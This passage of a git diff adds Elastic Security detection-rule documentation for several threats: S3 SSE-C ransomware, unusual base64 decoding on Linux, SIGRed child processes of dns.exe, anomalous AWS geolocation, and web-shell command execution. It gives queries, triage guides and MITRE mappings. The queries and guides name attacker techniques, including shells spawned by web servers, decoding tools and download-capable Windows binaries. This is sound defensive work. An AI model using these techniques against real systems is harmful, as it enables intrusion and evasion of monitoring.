the affected bucket. + + +*Response and remediation* + + +**Immediate actions**: + - Disable access keys or permissions for the user if unauthorized behavior is confirmed. + - Rotate the bucket's encryption configuration to mitigate further misuse. + +**Data recovery**: + - Attempt to identify and contact the party holding the SSE-C encryption keys if recovery is necessary. + +**Enhance monitoring**: + - Enable alerts for future SSE-C encryption attempts in critical buckets. + - Review and tighten IAM policies for roles and users accessing S3. + +**Post-Incident review**: + - Audit logs for additional activities by the same user or IP. + - Document findings and apply lessons learned to improve preventive measures. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: "PutObject" + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.x-amz-server-side-encryption-customer-algorithm: "AES256" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-base64-encoding-decoding-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-base64-encoding-decoding-activity.asciidoc new file mode 100644 index 0000000000..23e9c115e3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-base64-encoding-decoding-activity.asciidoc @@ -0,0 +1,248 @@ +[[prebuilt-rule-8-19-20-unusual-base64-encoding-decoding-activity]] +=== Unusual Base64 Encoding/Decoding Activity + +This rule leverages ESQL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Base64 Encoding/Decoding Activity* + +Base64 encoding is a method to convert binary data into ASCII text, often used for data transmission. Adversaries exploit this to obfuscate malicious payloads or commands, bypassing security controls. The detection rule identifies suspicious Base64 activity on Linux by monitoring specific processes and command patterns, flagging anomalies for further investigation. + + +*Possible investigation steps* + + +- Review the process name and command line arguments to understand the context of the Base64 activity. Check if the process name matches known legitimate applications or scripts. +- Examine the timestamp of the event to determine if the activity occurred during normal operational hours or if it coincides with other suspicious activities. +- Investigate the host operating system type and agent ID to identify the specific Linux system involved and assess if it has a history of similar alerts or other security incidents. +- Analyze the process command line for any unusual patterns or parameters that might indicate obfuscation or malicious intent, such as the presence of decode flags or unexpected Base64 operations. +- Correlate the event with other logs or alerts from the same host or network to identify potential lateral movement or coordinated attacks. +- Check for any recent changes or deployments on the affected system that might explain the Base64 activity, such as new software installations or updates. +- Consult threat intelligence sources to determine if the observed Base64 patterns or command line arguments are associated with known malware or attack techniques. + + +*False positive analysis* + + +- Routine administrative scripts may use base64 encoding for legitimate data processing tasks. Review the process.command_line and process.args fields to identify known scripts and consider excluding them from the rule. +- Backup or data transfer operations might employ base64 encoding to handle binary data. Verify the process.name and process.command_line to ensure these operations are recognized and add exceptions for these specific processes. +- Development environments often use base64 encoding for testing purposes. Identify development-related processes by examining the process.name and process.command_line and exclude them if they are part of regular development activities. +- Automated system monitoring tools might trigger this rule if they use base64 encoding for log or data analysis. Check the agent.id and process.command_line to confirm these tools and exclude them from the rule if they are verified as non-threatening. +- Security tools that perform data encoding for analysis or reporting could be flagged. Validate these tools by reviewing the process.name and process.command_line and create exceptions for them if they are part of the security infrastructure. + + +*Response and remediation* + + +- Isolate the affected Linux system from the network to prevent further data exfiltration or lateral movement by the adversary. +- Terminate any suspicious processes identified by the alert, particularly those involving base64 encoding/decoding, to halt potential malicious activity. +- Conduct a thorough review of the process command lines and arguments flagged by the alert to identify any malicious scripts or payloads. Remove or quarantine these files as necessary. +- Check for any unauthorized user accounts or privilege escalations that may have been established during the attack and revoke access immediately. +- Restore any affected systems or files from a known good backup to ensure the integrity of the system and data. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the suspicious base64 activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if broader organizational impacts exist. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and ( + ( + process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and + process.command_line like "*-*d*" + ) or + ( + process.name == "openssl" and + process.args == "enc" and + process.args in ("-d", "-base64", "-a") + ) or + ( + process.name like "python*" and ( + ( + process.args == "base64" and + process.args in ("-d", "-u", "-t") + ) or + ( + process.args == "-c" and + process.command_line like "*base64*" and + process.command_line like "*b64decode*" + ) + ) + ) or + ( + process.name like "perl*" and + process.command_line like "*decode_base64*" + ) or + ( + process.name like "ruby*" and + process.args == "-e" and + process.command_line like "*Base64.decode64*" + ) + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.name, + process.args, + process.command_line, + process.parent.name, + process.parent.command_line, + agent.id, + host.name, + event.dataset, + data_stream.namespace +| stats + Esql.event_count = count(), + Esql.process_parent_name_values = values(process.parent.name), + Esql.process_parent_command_line_values = values(process.parent.command_line), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.name, process.command_line +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 15 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.name, process.command_line, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-child-process-of-dns-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-child-process-of-dns-exe.asciidoc new file mode 100644 index 0000000000..54c8f81c8f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-child-process-of-dns-exe.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-unusual-child-process-of-dns-exe]] +=== Unusual Child Process of dns.exe + +Identifies an unexpected process spawning from dns.exe, the process responsible for Windows DNS server services, which may indicate activity related to remote code execution or other forms of exploitation. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/ +* https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ +* https://github.com/maxpl0it/CVE-2020-1350-DoS +* https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Child Process of dns.exe* + + +SIGRed (CVE-2020-1350) is a wormable, critical vulnerability in the Windows DNS server that affects Windows Server versions 2003 to 2019 and can be triggered by a malicious DNS response. Because the service is running in elevated privileges (SYSTEM), an attacker that successfully exploits it is granted Domain Administrator rights. This can effectively compromise the entire corporate infrastructure. + +This rule looks for unusual children of the `dns.exe` process, which can indicate the exploitation of the SIGRed or a similar remote code execution vulnerability in the DNS server. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. + - Any suspicious or abnormal child process spawned from dns.exe should be carefully reviewed and investigated. It's impossible to predict what an adversary may deploy as the follow-on process after the exploit, but built-in discovery/enumeration utilities should be top of mind (`whoami.exe`, `netstat.exe`, `systeminfo.exe`, `tasklist.exe`). + - Built-in Windows programs that contain capabilities used to download and execute additional payloads should also be considered. This is not an exhaustive list, but ideal candidates to start out would be: `mshta.exe`, `powershell.exe`, `regsvr32.exe`, `rundll32.exe`, `wscript.exe`, `wmic.exe`. + - If a denial-of-service (DoS) exploit is successful and DNS Server service crashes, be mindful of potential child processes related to `werfault.exe` occurring. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the host during the past 48 hours. +- Check whether the server is vulnerable to CVE-2020-1350. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system or restore the compromised server to a clean state. +- Install the latest patches on systems that run Microsoft DNS Server. +- Consider the implementation of a patch management system, such as the Windows Server Update Services (WSUS). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "dns.exe" and + not process.executable : ( + "?:\\Windows\\System32\\conhost.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\conhost.exe", + "\\Device\\HarddiskVolume*\\Program Files\\ReasonLabs\\*" + ) and + not ?process.parent.executable : "?:\\Program Files\\ReasonLabs\\DNS\\ui\\DNS.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-city-for-an-aws-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-city-for-an-aws-command.asciidoc new file mode 100644 index 0000000000..e9947533a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-city-for-an-aws-command.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-20-unusual-city-for-an-aws-command]] +=== Unusual City For an AWS Command + +A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from a geolocation (city) that is unusual for the command. This can be the result of compromised credentials or keys being used by a threat actor in a different geography than the authorized user(s). + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-2h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual City For an AWS Command* + + +CloudTrail logging provides visibility on actions taken within an AWS environment. By monitoring these events and understanding what is considered normal behavior within an organization, you can spot suspicious or malicious activity when deviations occur. + +This rule uses a machine learning job to detect an AWS API command that while not inherently suspicious or abnormal, is sourcing from a geolocation (city) that is unusual for the command. This can be the result of compromised credentials or keys used by a threat actor in a different geography than the authorized user(s). + +Detection alerts from this rule indicate an AWS API command or method call that is rare and unusual for the geolocation of the source IP address. + + +*Possible investigation steps* + + +- Identify the user account involved and the action performed. Verify whether it should perform this kind of action. + - Examine the user identity in the `aws.cloudtrail.user_identity.arn` field and the access key ID in the `aws.cloudtrail.user_identity.access_key_id` field, which can help identify the precise user context. + - The user agent details in the `user_agent.original` field may also indicate what kind of a client made the request. +- Investigate other alerts associated with the user account during the past 48 hours. +- Validate the activity is not related to planned patches, updates, or network administrator activity. +- Examine the request parameters. These might indicate the source of the program or the nature of its tasks. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Contact the account owner and confirm whether they are aware of this activity if suspicious. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- False positives can occur if activity is coming from new employees based in a city with no previous history in AWS. +- Examine the history of the command. If the command only manifested recently, it might be part of a new automation module or script. If it has a consistent cadence (for example, it appears in small numbers on a weekly or monthly cadence), it might be part of a housekeeping or maintenance process. You can find the command in the `event.action field` field. + + +*Related Rules* + + +- Unusual Country For an AWS Command - dca28dee-c999-400f-b640-50a081cc0fd1 +- Unusual AWS Command for a User - ac706eae-d5ec-4b14-b4fd-e8ba8086f0e1 +- Rare AWS Error Code - 19de8096-e2b0-4bd8-80c9-34a820813fff +- Spike in AWS Error Messages - 78d3d8d9-b476-451d-a9e0-7a5addd70670 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from AWS. + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*AWS Integration Setup* + +The AWS integration allows you to collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "aws" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “AWS” and select the integration to see more details about it. +- Click “Add AWS”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “aws” to an existing or a new agent policy, and deploy the agent on your system from which aws log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://www.elastic.co/docs/current/integrations/aws[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-command-execution-from-web-server-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-command-execution-from-web-server-parent.asciidoc new file mode 100644 index 0000000000..c31119a793 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-command-execution-from-web-server-parent.asciidoc @@ -0,0 +1,253 @@ +[[prebuilt-rule-8-19-20-unusual-command-execution-from-web-server-parent]] +=== Unusual Command Execution from Web Server Parent + +This rule detects potential command execution from a web server parent process on a Linux host. Adversaries may attempt to execute commands from a web server parent process to blend in with normal web server activity and evade detection. This behavior is commonly observed in web shell attacks where adversaries exploit web server vulnerabilities to execute arbitrary commands on the host. The detection rule identifies unusual command execution from web server parent processes, which may indicate a compromised host or an ongoing attack. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Command Execution from Web Server Parent* + + +Web servers, such as Apache or Nginx, are crucial for hosting web applications, often running on Linux systems. Adversaries exploit vulnerabilities in these servers to execute arbitrary commands, typically through web shells, blending malicious activity with legitimate server processes. The detection rule identifies suspicious command executions originating from web server processes, focusing on unusual patterns and contexts, such as unexpected working directories or command structures, to flag potential compromises. + + +*Possible investigation steps* + + +- Review the process.command_line field to understand the specific command executed and assess its legitimacy or potential malicious intent. +- Examine the process.working_directory to determine if the command was executed from an unusual or suspicious directory, which could indicate a compromise. +- Check the process.parent.executable and process.parent.name fields to identify the parent process and verify if it is a known web server or related service that could be exploited. +- Investigate the user.name and user.id fields to confirm if the command was executed by a legitimate user or service account, or if it was potentially executed by an unauthorized user. +- Correlate the @timestamp with other logs and events to identify any related activities or anomalies occurring around the same time, which could provide additional context or evidence of an attack. +- Assess the agent.id to determine if the alert is isolated to a single host or if similar activities are observed across multiple hosts, indicating a broader issue. + + +*False positive analysis* + + +- Web development or testing environments may frequently execute commands from web server processes. To handle this, exclude specific working directories like /var/www/dev or /var/www/test from the rule. +- Automated scripts or cron jobs running under web server user accounts can trigger alerts. Identify these scripts and add exceptions for their specific command lines or user IDs. +- Legitimate administrative tasks performed by web server administrators might appear suspicious. Document these tasks and exclude their associated command lines or parent executables. +- Continuous integration or deployment processes that involve web server interactions can be mistaken for threats. Exclude known CI/CD tool command lines or working directories from the rule. +- Monitoring or logging tools that interact with web server processes may generate false positives. Identify these tools and exclude their specific process names or parent executables. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further malicious activity and lateral movement within the network. This can be done by removing the host from the network or applying network segmentation. + +- Terminate any suspicious processes identified by the detection rule, especially those originating from web server parent processes executing shell commands. Use process IDs and command lines from the alert to target specific processes. + +- Conduct a thorough review of the web server logs and application logs to identify any unauthorized access or modifications. Look for patterns that match the command execution detected and any other anomalies. + +- Patch the web server and any associated applications to address known vulnerabilities that may have been exploited. Ensure that all software is up to date with the latest security patches. + +- Restore the affected system from a known good backup if any unauthorized changes or persistent threats are detected. Ensure that the backup is free from compromise before restoration. + +- Implement additional monitoring and alerting for similar activities, focusing on unusual command executions and web server behavior. Enhance logging and alerting to capture more detailed information about process executions and network connections. + +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the attack is part of a larger campaign. Provide them with all relevant data and findings from the initial containment and remediation steps. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and ( + ( + process.parent.name in ( + "apache", "nginx", "apache2", "httpd", "lighttpd", "caddy", "mongrel_rails", "gunicorn", + "uwsgi", "openresty", "cherokee", "h2o", "resin", "puma", "unicorn", "traefik", "tornado", "hypercorn", + "daphne", "twistd", "yaws", "webfsd", "httpd.worker", "flask", "rails", "mongrel", "php-cgi", + "php-fcgi", "php-cgi.cagefs", "catalina.sh", "hiawatha", "lswsctrl" + ) or + process.parent.name like "php-fpm*" or + user.name in ("apache", "www-data", "httpd", "nginx", "lighttpd", "tomcat", "tomcat8", "tomcat9") or + user.id in ("33", "498", "48") or + (process.parent.name == "java" and process.parent.working_directory like "/u0?/*") or + process.parent.working_directory like "/var/www/*" + ) + ) and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.command_line like "* -c *" and not ( + process.working_directory like "/home/*" or + process.working_directory == "/" or + process.working_directory like "/vscode/vscode-server/*" or + process.parent.executable like "/vscode/vscode-server/*" or + process.parent.executable == "/usr/bin/xfce4-terminal" + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.parent.name, + user.name, + user.id, + process.working_directory, + process.parent.working_directory, + process.name, + process.executable, + process.command_line, + process.parent.executable, + agent.id, + host.name, + event.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.command_line, process.working_directory, process.parent.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 5 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.command_line, process.working_directory, process.parent.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: 